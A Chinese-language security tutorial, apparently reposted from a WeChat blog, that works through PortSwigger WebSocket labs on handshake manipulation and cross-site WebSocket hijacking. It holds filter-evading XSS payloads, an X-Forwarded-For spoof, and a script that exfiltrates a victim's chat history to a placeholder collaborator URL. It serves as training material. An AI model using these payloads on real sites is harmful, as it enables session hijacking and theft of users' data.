WebSocket安全漏洞-攻击示例

admin 2022年12月19日14:01:27评论150 views字数 3017阅读10分3秒阅读模式

在本节中,将解释如何操作WebSocket消息和连接,描述WebSocket可能出现的各种安全漏洞,并给出一些利用WebSocket漏洞的示例。



操纵WebSocket握手以利用漏洞

一些WebSocket漏洞只能通过操纵WebSocket握手来发现和利用,这些漏洞往往涉及设计缺陷,例如:

●错误地信任HTTP标头以执行安全决策,例如X-Forwarded-For标头。

●会话处理机制的缺陷,因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文决定。

●应用程序使用的自定义HTTP标头引入的攻击面。


场景试验-操纵WebSocket握手以利用漏洞

https://portswigger.net/web-security/websockets/lab-manipulating-handshake-to-exploit-vulnerabilities

场景说明:

这个试验场景的在线商店通过WebSocket实现实时的聊天功能,它有一个激进但有缺陷的XSS过滤器。

试验目的:

要完成这个试验,需要使用WebSocket消息在支持代理的浏览器中触发alert()弹出窗口。

攻击过程:

打开"Live chat",发送一句话,可以看到是个实时聊天系统

WebSocket安全漏洞-攻击示例

打开Burp Suite后在"Proxy""WebSockets"中可以看到历史消息,右键点击一条并发送给"Repeater"

WebSocket安全漏洞-攻击示例

编辑这条消息包含下面XSSPayload

<img src=1 onerror='alert(1)'>

WebSocket安全漏洞-攻击示例


发送后可以看到因为被认定是攻击,所以WebSocket连接被终止了

WebSocket安全漏洞-攻击示例

WebSocket安全漏洞-攻击示例

点击"Reconnect",可以发现连接尝试失败,因为IP地址已经被禁止了

WebSocket安全漏洞-攻击示例

将下面标头添加到握手请求中以欺骗IP地址,再次点击"Connect"就可以连接上WebSocket

X-Forwarded-For: 1.1.1.1

WebSocket安全漏洞-攻击示例


发送下面包含经过混淆的XSSPayloadWebSocket消息,即可绕过安全防护完成试验

<img src=1 oNeRrOr=alert`1`>

WebSocket安全漏洞-攻击示例



使用跨站WebSocket来利用漏洞

当攻击者从攻击者控制的网站建立跨域WebSocket连接时,就会出现一些WebSocket安全漏洞。这被称为跨站点WebSocket劫持攻击,它涉及利用WebSocket握手上的跨站点请求伪造(CSRF)漏洞。攻击通常会产生严重影响,允许攻击者代表受害用户执行特权操作或捕获受害用户可以访问的敏感数据。



什么是跨站WebSocket劫持?

跨站点WebSocket劫持(也称为跨域WebSocket劫持),涉及WebSocket握手上的跨站点请求伪造(CSRF)漏洞。当WebSocket握手请求仅依赖HTTP cookie进行会话处理并且不包含任何CSRF令牌或其他不可预测的值时,就会出现这种情况。

攻击者可以在他们自己的域上创建一个恶意网页,该网页与易受攻击的应用程序建立跨站点WebSocket连接。应用程序将在受害者用户与应用程序的会话上下文中处理连接。

然后,攻击者的页面可以通过连接向服务器发送任意消息,并读取从服务器接收回的消息内容。这意味着,与常规CSRF不同,攻击者可以与受感染的应用程序进行双向交互。



跨站WebSocket劫持有什么影响?

成功的跨站WebSocket劫持攻击通常会使攻击者能够:

●伪装成受害者用户执行未经授权的操作。与常规CSRF一样,攻击者可以向服务器端应用程序发送任意消息。如果应用程序使用客户端生成的WebSocket消息来执行任何敏感操作,那么攻击者可以跨域生成合适的消息并触发这些操作。

●检索用户可以访问的敏感数据。与常规CSRF不同,跨站点WebSocket劫持使攻击者通过劫持的WebSocket与易受攻击的应用程序进行双向交互。如果应用程序使用服务器生成的WebSocket消息向用户返回任何敏感数据,那么攻击者可以拦截这些消息并捕获受害者用户的数据。



如何执行跨站WebSocket劫持攻击

由于跨站WebSocket劫持攻击本质上是WebSocket握手上的CSRF漏洞,因此执行攻击的第一步是检查应用程序执行的WebSocket握手并确定它们是否受到CSRF保护。

CSRF攻击的正常情况而言,通常需要找到仅依赖HTTP cookie进行会话处理的握手消息,并且在请求参数中不使用任何令牌或其他不可预测的值。

例如,以下WebSocket握手请求可能容易受到CSRF的攻击,因为唯一的会话令牌是在cookie中传输的:

WebSocket安全漏洞-攻击示例

Sec-WebSocket-Key标头包含一个随机值以防止缓存代理错误,并且不用于身份验证或会话处理目的。

如果WebSocket握手请求易受CSRF攻击,则攻击者的网页可以执行跨站请求以在易受攻击的站点上打开WebSocket,攻击接下来会发生什么完全取决于应用程序的逻辑以及它如何使用WebSocket,攻击可能涉及:

●代表受害者用户发送WebSocket消息以执行未经授权的操作。

●发送WebSocket消息以检索敏感数据。

●等到包含敏感数据的传入消息到达。


场景试验-跨站WebSocket劫持:

https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab

场景说明:

这个试验场景的在线商店通过WebSocket实现实时的聊天功能。

试验目的:

要完成这个试验,需要使用漏洞利用服务器托管一个HTML/JavaScriptPayload,通过使用跨站WebSocket劫持攻击来泄露受害者的聊天记录,然后使用它来访问他们的账户。

攻击过程:

打开"Live chat"发送一条聊天消息后重新刷新下页面,在Burp ProxyWebSocket历史标签中可以看到客户端发送了"READY"指令从服务器获取历史聊天信息

WebSocket安全漏洞-攻击示例

Burp ProxyHTTP历史标签中,可以看到聊天请求没有CSRF的保护

WebSocket安全漏洞-攻击示例

打开"exploit server",在body中用以下JS脚本,注意替换下两个URL地址,其中一个地址需要用到Burp Collaborator Client

<script> var ws = new WebSocket('wss://your-websocket-url'); ws.onopen = function({ws.send("READY"); }; ws.onmessage = function(event{fetch('https://your-collaborator-url', {method'POST'mode'no-cors'body:event.data}); }; </script>

WebSocket安全漏洞-攻击示例


保存后发送给受害者,接下来在Collaborator Client中可以获取到受害者的历史聊天信息

WebSocket安全漏洞-攻击示例


从聊天记录中盗取到用户名和密码,再进行登录,即可完成试验

WebSocket安全漏洞-攻击示例


WebSocket安全漏洞-攻击示例


服务器端请求伪造(SSRF)-概念梳理

文件上传漏洞-概念梳理

访问控制和权限提升漏洞-概念梳理

信息泄露漏洞-概念梳理

业务逻辑漏洞-概念梳理

命令注入攻击(上)
目录遍历攻击(上)

身份验证漏洞-概念梳理

SQL注入攻击-检索隐藏的数据
HTTP Host头漏洞攻击-概念梳理


原文始发于微信公众号(H君网安白话):WebSocket安全漏洞-攻击示例

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月19日14:01:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WebSocket安全漏洞-攻击示例http://cn-sec.com/archives/1462803.html

发表评论

匿名网友 填写信息